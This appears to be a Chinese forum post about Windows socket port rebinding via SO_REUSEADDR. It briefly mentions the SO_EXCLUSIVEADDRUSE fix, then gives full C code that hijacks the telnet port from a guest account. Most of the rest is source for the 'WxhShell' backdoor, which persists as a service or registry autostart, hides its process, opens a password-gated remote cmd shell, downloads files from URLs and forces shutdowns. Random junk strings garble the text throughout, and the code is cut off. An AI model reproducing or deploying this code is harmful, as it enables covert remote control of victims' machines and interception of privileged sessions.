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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0p&:9|'z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g'hBs
D1' <@e6zQG saddr.sin_family = AF_INET; W9.ZhpM vPpbm saddr.sin_addr.s_addr = htonl(INADDR_ANY); -O. MfI+ , lT8gQ|u bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9?l(
}S` "'s`? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `7+?1z #S_LKc 这意味着什么?意味着可以进行如下的攻击: mn4j#- rJD>]3D 5p 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S\GG(#b! u=k\]W- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {/ZB>l@D>8 et/mfzV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1*G7Uh@K} -mcLT@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 u.$.RkNMQ ,_P(!7Z8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WY0u9M4 5|Vb)QBv% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~r&Q\G kax9RHvku 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2- UZ|y ukvz#hdE #include *slZ17xg #include %|r@q #include Xgr|~(^ #include ,%>/8* DWORD WINAPI ClientThread(LPVOID lpParam); q31swP int main() :2K0/@<x { b
s:E`Q WORD wVersionRequested; b.;F)( DWORD ret; gnx!_H\h< WSADATA wsaData; e"[o2=v;5 BOOL val; $6BXoh! SOCKADDR_IN saddr; a|lcOU SOCKADDR_IN scaddr; m_ '
1yX@ int err; dJ:EXVU SOCKET s; z/6eP`jj SOCKET sc; W@#)8];> int caddsize; BWfsk/lej HANDLE mt; }\P9$D+ DWORD tid; hJ+>Xm@@! wVersionRequested = MAKEWORD( 2, 2 ); [p[Kpunr{l err = WSAStartup( wVersionRequested, &wsaData ); 56d,Sk) if ( err != 0 ) { 0rjxWPc printf("error!WSAStartup failed!\n"); Da)9s %_4 return -1; g' H!%< } 0bS\VUB( saddr.sin_family = AF_INET; iK= {pd QJ-6aB //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *|a_(bQ4@ :TX!lbCq saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^)D[ W(* saddr.sin_port = htons(23); u])N^AY"sj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '@ (WT~g { YeptYW@xfw printf("error!socket failed!\n"); j<Lj1P3 return -1; bAGQ } ^e8~eL+ val = TRUE; d^!)',` //SO_REUSEADDR选项就是可以实现端口重绑定的 L6J=m#Ld if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Iyz} ;7yVI { 7%V2 printf("error!setsockopt failed!\n"); E[)`+:G] return -1; {ajaM'x } -c~nmPEG6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7=aF-;X3jj //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /P Qz$e-!Y //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `Q' 0l}, J-au{eP^
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~(~fuDT~O { )lTkqz8v ret=GetLastError(); cX9
!a, printf("error!bind failed!\n"); N3!x7J7A return -1; pGc_Klq } :{E;*v_!v listen(s,2); *[) b}? while(1) g0:mm,t\ { n?
e&I>1W caddsize = sizeof(scaddr); Pe6MDWR //接受连接请求 hl(M0cxEWP sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4. 7m* if(sc!=INVALID_SOCKET)
{F+7> X { [nZ3}o mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W>.KV7 if(mt==NULL) 4onRO!G, { 3P2H!r printf("Thread Creat Failed!\n"); 7q&Ru|T33 break; n,!PyJ } 8$xd;+`y' } F4xYfbwY"] CloseHandle(mt); "94e-Nx } E:a_f! closesocket(s); j7IX"O%f\ WSACleanup(); \DI%/(? return 0; 56Z 1jN^U } Ikv@}^p 7 DWORD WINAPI ClientThread(LPVOID lpParam) ]vo&NE { J!b
v17H" SOCKET ss = (SOCKET)lpParam; _WO*N9Iz SOCKET sc; 9*pH[vH unsigned char buf[4096]; >k)}R|tJ SOCKADDR_IN saddr; xE`uFHuS} long num; T PEg>[ DWORD val; `CP#S7W^ DWORD ret; K;^$n>Y //如果是隐藏端口应用的话,可以在此处加一些判断 FH:^<^M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ca%s$' d saddr.sin_family = AF_INET; mxt fKPb saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wqEO+7)S saddr.sin_port = htons(23); q$6fb)2I]e if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?WyL|;b* { cy T,tN printf("error!socket failed!\n"); do@`(f3g return -1; 7VQ|3`!< } = m]|C1x val = 100; I-<U u2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lJ1_Zs ` { +0)s{? ret = GetLastError(); /qM:;:N%j return -1; wq+% O, } GG@GjP<_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qa-]IKOs { {6d)|';% ret = GetLastError(); `L n,qiA return -1; B'<k*9=Nv8 } n3Uw6gLD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z !2-U { 8ExEhBX8 printf("error!socket connect failed!\n"); 1o5n1
A closesocket(sc); u By[x 0 closesocket(ss); {BB#Bh[ return -1; l`"i'P } MtWzGE=? while(1) www#.D%'U { ffDh0mDN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #2AKO/ //如果是嗅探内容的话,可以再此处进行内容分析和记录 +$_.${uwV //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ++{,1wY\ num = recv(ss,buf,4096,0); y*ux7KO if(num>0) W>[0u3 send(sc,buf,num,0); ~\HGV+S!g} else if(num==0) .%Pt[VQ break; D3,9X#B= num = recv(sc,buf,4096,0); e0rh~@E if(num>0) abAX)R' send(ss,buf,num,0); vq(ElXTO else if(num==0) V+04X" break; M`m-@z } S:b-+w|* closesocket(ss); uUy~$>V closesocket(sc); 8nKZ return 0 ; E(%_aFx>/ } bm`x;M^M _o,Mji| G%Dhj)2} ========================================================== Lt8J^}kwl CSu}_$wC# 下边附上一个代码,,WXhSHELL Nj~3FL }fqz8'E9 ========================================================== b"J J3$D .A6i?iROe #include "stdafx.h" Ng=_#< -(ev68'}W #include <stdio.h> <4{Jm8zJ #include <string.h> DAvF ND$= #include <windows.h> 4xYW?s( #include <winsock2.h> Wjf,AjL\ #include <winsvc.h> Ad%3 fvn #include <urlmon.h> L+GVB[@3Y )P|&o%E #pragma comment (lib, "Ws2_32.lib") j*7#1<T #pragma comment (lib, "urlmon.lib") /);S?7u. h!yI(cY #define MAX_USER 100 // 最大客户端连接数 ;kE|Vx #define BUF_SOCK 200 // sock buffer B)!ty" #define KEY_BUFF 255 // 输入 buffer [v%j? m
N&G #define REBOOT 0 // 重启 7k<6oM1 #define SHUTDOWN 1 // 关机 3=@lJ?Ym igGg[I1? #define DEF_PORT 5000 // 监听端口 v-utDQT3 V]{^}AKc #define REG_LEN 16 // 注册表键长度 eI@nskq# #define SVC_LEN 80 // NT服务名长度 <meQ 26K sP .- // 从dll定义API s+fjQo4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dm(Xy'*iQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fk4T>8q2; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (gQr?K typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); le*'GgU# #s}& // wxhshell配置信息 J^y}3ON struct WSCFG { gXb
*
zt2 int ws_port; // 监听端口 %@,!
( char ws_passstr[REG_LEN]; // 口令 J? 4E Hl int ws_autoins; // 安装标记, 1=yes 0=no uH.1'bR?a char ws_regname[REG_LEN]; // 注册表键名 P/ XO5` char ws_svcname[REG_LEN]; // 服务名 rm5@dM@ char ws_svcdisp[SVC_LEN]; // 服务显示名 #`5>XfbmQ( char ws_svcdesc[SVC_LEN]; // 服务描述信息 JjC&
io char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -(FhjIr int ws_downexe; // 下载执行标记, 1=yes 0=no s9\N{ar# char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" wV{jJyRl char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6Qx[W>I =cwdl7N&I }; Vm8rQFCp74 k>V~iA // default Wxhshell configuration ]ME2V struct WSCFG wscfg={DEF_PORT, 12TX_ 0 "xuhuanlingzhe", W2T-TI,>PC 1,
']__V[ "Wxhshell", S0]JeP+3! "Wxhshell", 9Z^\b)x "WxhShell Service", }xb?C""q^q "Wrsky Windows CmdShell Service", C.(<IcSG "Please Input Your Password: ", e9p!Caf~I- 1, Id<O/C " http://www.wrsky.com/wxhshell.exe", GS@Zc2JPF "Wxhshell.exe" t^|GcU] }; ai$s sD{d8s[( // 消息定义模块 *Me&>"N" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #DkdFy
%` char *msg_ws_prompt="\n\r? for help\n\r#>"; qo!6)Z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; `7$Sga6M char *msg_ws_ext="\n\rExit."; ur|
vh5 char *msg_ws_end="\n\rQuit."; 8}.V[,]6 char *msg_ws_boot="\n\rReboot..."; ,1e\}^ char *msg_ws_poff="\n\rShutdown..."; dUc([& char *msg_ws_down="\n\rSave to "; >^bSjE Zk<Y+! char *msg_ws_err="\n\rErr!"; XQI!G_\+C char *msg_ws_ok="\n\rOK!"; D0*+7n3 n>L24rL char ExeFile[MAX_PATH]; Gg# 1k TK int nUser = 0; ohlCuH3 HANDLE handles[MAX_USER]; o!Y61S( int OsIsNt; <o"2z~gv B{2WvPX~q SERVICE_STATUS serviceStatus; tBtmqxx SERVICE_STATUS_HANDLE hServiceStatusHandle; E!
mxa Rxl/)H[Lc" // 函数声明 FC
q&- int Install(void); 9FcH\2J int Uninstall(void); !JnxNIr&i| int DownloadFile(char *sURL, SOCKET wsh); rvRIKc|}l int Boot(int flag); B"3uuk8 void HideProc(void); ,c6c=di int GetOsVer(void); wCw_aXqq int Wxhshell(SOCKET wsl); 8<_dNt'91 void TalkWithClient(void *cs); .-?Txkwb int CmdShell(SOCKET sock); 4O>0gK{w int StartFromService(void); :S=!]la0h int StartWxhshell(LPSTR lpCmdLine); B]wfDUG E, ;'n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5$%CRm VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^wW{7Uq> "Ax#x // 数据结构和表定义 ~ea&1+Z[3 SERVICE_TABLE_ENTRY DispatchTable[] = K'zBDrkW-x { PD`EtkUnv {wscfg.ws_svcname, NTServiceMain}, :IRQouTf:, {NULL, NULL} ds:&{~7L<T }; ]~kgsI[E !HSX:qAP$ // 自我安装 i/aj;t int Install(void) %R@&8 { r`A|2(h5B char svExeFile[MAX_PATH]; P.'$L\ HKEY key; }ZkGH}K_} strcpy(svExeFile,ExeFile); Q'c[yu Z1sRLkR^ // 如果是win9x系统,修改注册表设为自启动 <~P([5 if(!OsIsNt) { t&nK5p95( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4$Ud4< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n+w$'l RegCloseKey(key); ]:Sb#=,!&! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mJa8;X!r6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -|(
q9B RegCloseKey(key); t[%ELHV return 0; )!g@MHHL } 7-2,|(Xg } by*v($ } yYPFk else { FcmL4^s.` <c]? // 如果是NT以上系统,安装为系统服务 "= >8UR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'OvyQ/T
if (schSCManager!=0) dZ"d`M>o6 { V2BsvR` SC_HANDLE schService = CreateService -14~f)%NQ* ( Q)ZbnR2Z8 schSCManager, u!9bhL` wscfg.ws_svcname, U'Fc\M5l/l wscfg.ws_svcdisp, *>J45U(6: SERVICE_ALL_ACCESS, dY'>'1>P
9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oPC
qv SERVICE_AUTO_START, @+(a{%~7y SERVICE_ERROR_NORMAL, 02mu%|" svExeFile, GdtR /1 NULL, N3o
kN8d NULL, 5gbD|^ij NULL, n_1,-(t NULL, y];@ M<<?e NULL [eZ'h8 ); wZ\% !#}7 if (schService!=0) .q_SA-!w> { ZA8FX
CloseServiceHandle(schService); T[]kun CloseServiceHandle(schSCManager); -`d(>ok strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g%2twq_ strcat(svExeFile,wscfg.ws_svcname); hnnPi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k=JT% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `]m/za%7 RegCloseKey(key); HQtUNtZ return 0; 4!0nM|~ } 5 @61=Au } kq=tL@W`0} CloseServiceHandle(schSCManager); E K#ib } ?Qdp#K]WX } +d/^0^(D\5 ~.f[K{h8 return 1; [Se0+\,& } 6 jo+i[h QE%|8UFY // 自我卸载 C!J6"j int Uninstall(void) >W?7a:#, { )0xEI HKEY key; 8WRxM%gsH .47tj`L if(!OsIsNt) { }Q%fY(bp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *r]Mn~3 RegDeleteValue(key,wscfg.ws_regname); Rhil]|a/ RegCloseKey(key); z]F4Z'(e. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?UV^6 RegDeleteValue(key,wscfg.ws_regname); (y{nD~k RegCloseKey(key); {qkd63X return 0; _HkB+D0v } HRZ3}8Qj } x8wal[6 } &+>)H$5 else { 7+^4v(s vZns,K#4H\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >cPB:kD' if (schSCManager!=0)
=*YK6 { +jD{O @9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Svmyg] if (schService!=0) [[P UK{P0 { Q\~4J1 if(DeleteService(schService)!=0) { Gd~Xvw,u CloseServiceHandle(schService); AVR9G^ce_ CloseServiceHandle(schSCManager); qK4E:dD return 0; nuB@Fkr } I,r 3.2u CloseServiceHandle(schService); ^#R-_I } ogX'3L CloseServiceHandle(schSCManager); q)ygSOtj } kQ$Q}3f } nzTzc5
w N2VF_[l return 1; j:0VtJo~ } @$~ BU;kR 8Us5Oi // 从指定url下载文件 l|ZwZix int DownloadFile(char *sURL, SOCKET wsh) Lrr^obc { }`$:3mb&f HRESULT hr; !+.|T9P char seps[]= "/"; ?kew[oZ char *token; 8 F'i5i char *file; L;xc,"\3 char myURL[MAX_PATH]; qeCx.Z char myFILE[MAX_PATH]; #Xri%&~ MjG=6.J|` strcpy(myURL,sURL); 9o P8| <+ token=strtok(myURL,seps); +7o3TA]- while(token!=NULL) ,SJB3if { HB\y [:E file=token; ASAz<H$ token=strtok(NULL,seps); 9c806>]U^ } DT(A~U<y IR>^U GetCurrentDirectory(MAX_PATH,myFILE); O!sZMGF$p strcat(myFILE, "\\"); ]}F_nc2L strcat(myFILE, file); K2L+tw send(wsh,myFILE,strlen(myFILE),0); Mno4z/4{A send(wsh,"...",3,0); >E?626* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); au574tj if(hr==S_OK) A75IG4] return 0; !:`QX\Ux else lcvWx%/o@ return 1; _C"W;n' @6ZQkX/ } c3!d4mC: /bVU^vo // 系统电源模块 a`GoNh, int Boot(int flag) hti)<#f { 52K3N^RgR HANDLE hToken; of8/~VO TOKEN_PRIVILEGES tkp; c^UG}:Y rayC1#f if(OsIsNt) { \x)T_]Gcm OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z)q9O_g9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >! wX%QHH tkp.PrivilegeCount = 1; ar=uDb; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xc8MOm AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I8`@Srw8 if(flag==REBOOT) { e0+N1kY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e!ar:>T return 0; +Ld4e] } o{?s\)aBa else { LnxJFc:1K if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [$]vi`c2 return 0; ,K6s'3O(LW } 4iRcmsP } L=VJl[DL else { tV@!jaj\ if(flag==REBOOT) { ; @-7'%(C if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :Y0*P return 0; :|M0n%-X } Obrv5%'
else { t@>Uc`% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K]oFV return 0; *rK}Ai } :o&qJ% } 7*M+bZ`x 60*2k return 1; &o=
#P2Qd } `Ou\:Iz0u 7d]}BLpjWz // win9x进程隐藏模块 gb|C592R5C void HideProc(void) e54wAypPOl { H@qA X `!kOyh:X HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PR|F-/o if ( hKernel != NULL ) F>%~<or { QnME|j\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MVs@~= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :,Q\!s! FreeLibrary(hKernel); s%2 w&Us* } <xKer<D
% [ma'11?G return; Jajo!X*Wai } 2%'{f l<>syHCH;L // 获取操作系统版本 0D+[W5TB int GetOsVer(void) CH[U.LJQ-O { U$&G_&*0a OSVERSIONINFO winfo; Ly"u }e winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =&;orP GetVersionEx(&winfo); LuM:dJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T!0o(Pp< return 1; Hm!ffqO_ else jNhiY return 0; ~[l6;bn } +F.{: :W6`{Z // 客户端句柄模块 m-Q!V+XQp int Wxhshell(SOCKET wsl) M{cF14cQ { epuN~T SOCKET wsh; dmI~$* struct sockaddr_in client; o@*eC L= DWORD myID; s!(O7Ub iZ}Afj while(nUser<MAX_USER) M3P\1 { ;rXkU9 int nSize=sizeof(client); XHs>Q>` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a9]F.Jm if(wsh==INVALID_SOCKET) return 1; (k/[/`3ST tIn
dve handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FcVQ_6 if(handles[nUser]==0) A#;6~f closesocket(wsh); fy]z<SPhVJ else eB%hP9=:x nUser++; :/UO3 c( } p}H:t24Cr5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KZrg4TEVi 011 N return 0; 0<tce } [A~n=m5H ykK21P,v // 关闭 socket NZT2ni4 void CloseIt(SOCKET wsh) &!i'Q;q { mV!Ia-k closesocket(wsh); 7Z%EXDm4/c nUser--; )(bAi ExitThread(0); 1i=lJmr } *rKj%Me QAGR\~ // 客户端请求句柄 pHKcKqB*13 void TalkWithClient(void *cs) a(.q=W { C_>
WU p>M8:, SOCKET wsh=(SOCKET)cs; pQ~Y7 char pwd[SVC_LEN]; B
]*v{?<W char cmd[KEY_BUFF]; ^.3(o{g char chr[1]; 78M%[7Cq<i int i,j; A-"2 sp*t i ZU1w7Z while (nUser < MAX_USER) { 2/o_,k kPRG^Ox8e if(wscfg.ws_passstr) { m8}c(GwcP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z7][" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GZxPh&BM? //ZeroMemory(pwd,KEY_BUFF); r0^ *|+
i=0; Yt]Y( while(i<SVC_LEN) { V2B@Lq"9` 6(pa2 // 设置超时 r..&6-%:N fd_set FdRead; cnw?3/J struct timeval TimeOut; d\O*Ol*/v FD_ZERO(&FdRead); =w !>/#U FD_SET(wsh,&FdRead); i<\WRzVT TimeOut.tv_sec=8; \wR;N/tg TimeOut.tv_usec=0; aHR+4m~) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =|+%^)E
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E\5Cf2Ox O'rz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !kW~s_gUb* pwd =chr[0]; PAD&sTjE* if(chr[0]==0xd || chr[0]==0xa) { D4OJin^} pwd=0; 'Lu d=u{ break; F:~k4uTW\b } S1I# qb i++; #1)#W6 h\ } 9P1!<6mN\ $V870
< // 如果是非法用户,关闭 socket SX)o0v+ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aN5"[& } zI7iZ"2a \x=j send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7lUnqX.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Z
j>} ?B32,AS@ while(1) { *";O_ :C! #O1%k;BL ZeroMemory(cmd,KEY_BUFF); $y_P14
!sVW0JS h // 自动支持客户端 telnet标准 aY8QYK ;?^ j=0; _{2/QP} while(j<KEY_BUFF) { ruU &.mZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e3.q8r cmd[j]=chr[0]; [R0E4A?M if(chr[0]==0xa || chr[0]==0xd) { =#T3p9 cmd[j]=0; X1XmaO%A break; 2TccIv } =3;~7bYO j++;
*v#Z/RrrA } 8&wN9tPYZ K''2Jfm // 下载文件 uskJ(! if(strstr(cmd,"http://")) { |hD)=sCj send(wsh,msg_ws_down,strlen(msg_ws_down),0); _ SJFuv/ if(DownloadFile(cmd,wsh)) }X9G(`N(} send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7r{159&= else Oj1B @QE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8}Cp(z2 } ,5}")T["u else { 19;Pjo8 63SmQsv switch(cmd[0]) { UO(?EELm Gt$PBlq0 // 帮助 VXO.S)v2J case '?': { G2yQHTbl send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S0WKEv@Hn break; iE#I^`^V } bScW<DZJ- // 安装 ZC97Z sE case 'i': { a9!.e
rM if(Install()) TFO4jjiC" send(wsh,msg_ws_err,strlen(msg_ws_err),0); y4%[^g~- else 1T
8|>2m 3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J\E?rT break; /Jc54d } !'(QF9%Q // 卸载 r*g<A2g% case 'r': { |$D`* if(Uninstall()) (/jZ&4T send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,HwOMoP7 else X< 4f7;]O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7e=s`j break;
Xz!O}M{4 } )\+1*R|H} // 显示 wxhshell 所在路径 !"SuE)WM case 'p': { H|z:j35\ char svExeFile[MAX_PATH]; m`xzvg strcpy(svExeFile,"\n\r"); Cznp(z strcat(svExeFile,ExeFile); c^7QiTt_ send(wsh,svExeFile,strlen(svExeFile),0); zXGi break; MXs]3M } S8Yti // 重启 8B;HMD case 'b': { S?u@3PyJm send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p9gX$-!pbG if(Boot(REBOOT)) B qcFbY send(wsh,msg_ws_err,strlen(msg_ws_err),0); PvW~EJ else { "f4atuuXa closesocket(wsh); |g!3f ExitThread(0); ~#|Pe1Y } Pk^W+M_)~ break; `J-&Y2_/k } fcisDu8n // 关机 1Wb_>`; case 'd': { :\KJw send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i|CAN,' if(Boot(SHUTDOWN)) WoWmmZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,2]a<0m else { 4_d'Uh&] closesocket(wsh); frUO+ ExitThread(0); F~x>\?iN } '<Jqp7$dL break; HBcL1wfS } AZfW // 获取shell T*qSk! case 's': { aS&,$sR CmdShell(wsh); ,Kwtp)EX closesocket(wsh); e#s-MK-Q ExitThread(0); ~
}?*v} break; fl o9iifZ } Kd;)E 9Ti // 退出 |6!L\/}M% case 'x': { /s "Lsbe send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |yVveJ CloseIt(wsh); ev9ltl{ break; 4x2,X`pe3 } !+T29QYK8 // 离开 #SqU>R case 'q': { i2 G.<(3O send(wsh,msg_ws_end,strlen(msg_ws_end),0); /7hC
/!@ closesocket(wsh); E{xcu9 WSACleanup(); EJ=ud9 exit(1); TcOmBKps' break; 8 EUc
6 } d#-'DO{k } 2dnyIgi } ZHimS7 `!@d$*:' // 提示信息 \&b1%Asyz if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?V' zG&n@ } Lb} $)AcC } 1s6L]&B ?C(3T KH return; u_jhmKr~ } ;%!]C0? +\U#:gmw // shell模块句柄 oe,yCdPs int CmdShell(SOCKET sock) nWFU8u% { m*~Iu<5L STARTUPINFO si; \`Ow)t: ZeroMemory(&si,sizeof(si)); =H;F{J" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dZ`c si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }fh<L CwTi PROCESS_INFORMATION ProcessInfo; +jb<=ERV[ char cmdline[]="cmd"; PgdHH:v) CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mq52B_ return 0; N;R I
A } 1h#e-Oyff odhcU5 // 自身启动模式 ,*CPG$L int StartFromService(void) u#nM_UJe { 0bl 8J5Ar5 typedef struct 8 t`lRWJ { og`K!d~ DWORD ExitStatus; h?P-
:E DWORD PebBaseAddress; 9i+.iuE%Bu DWORD AffinityMask; I6Ga'5bV DWORD BasePriority; qh#?a' ULONG UniqueProcessId; D\^\_r): ULONG InheritedFromUniqueProcessId; PnZY%+[I } PROCESS_BASIC_INFORMATION; :%>TM/E N v,d'SR. PROCNTQSIP NtQueryInformationProcess; 6h?)x {<Y\flj{@m static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 11?d,6Jl static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }~Ir& QC6:ZxP HANDLE hProcess; E7 P'} PROCESS_BASIC_INFORMATION pbi; #+L:V&QE @ RP?)*8}& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ynl Zyw! if(NULL == hInst ) return 0; zKfY0A R #=,c8"O g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #Wq@j1? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 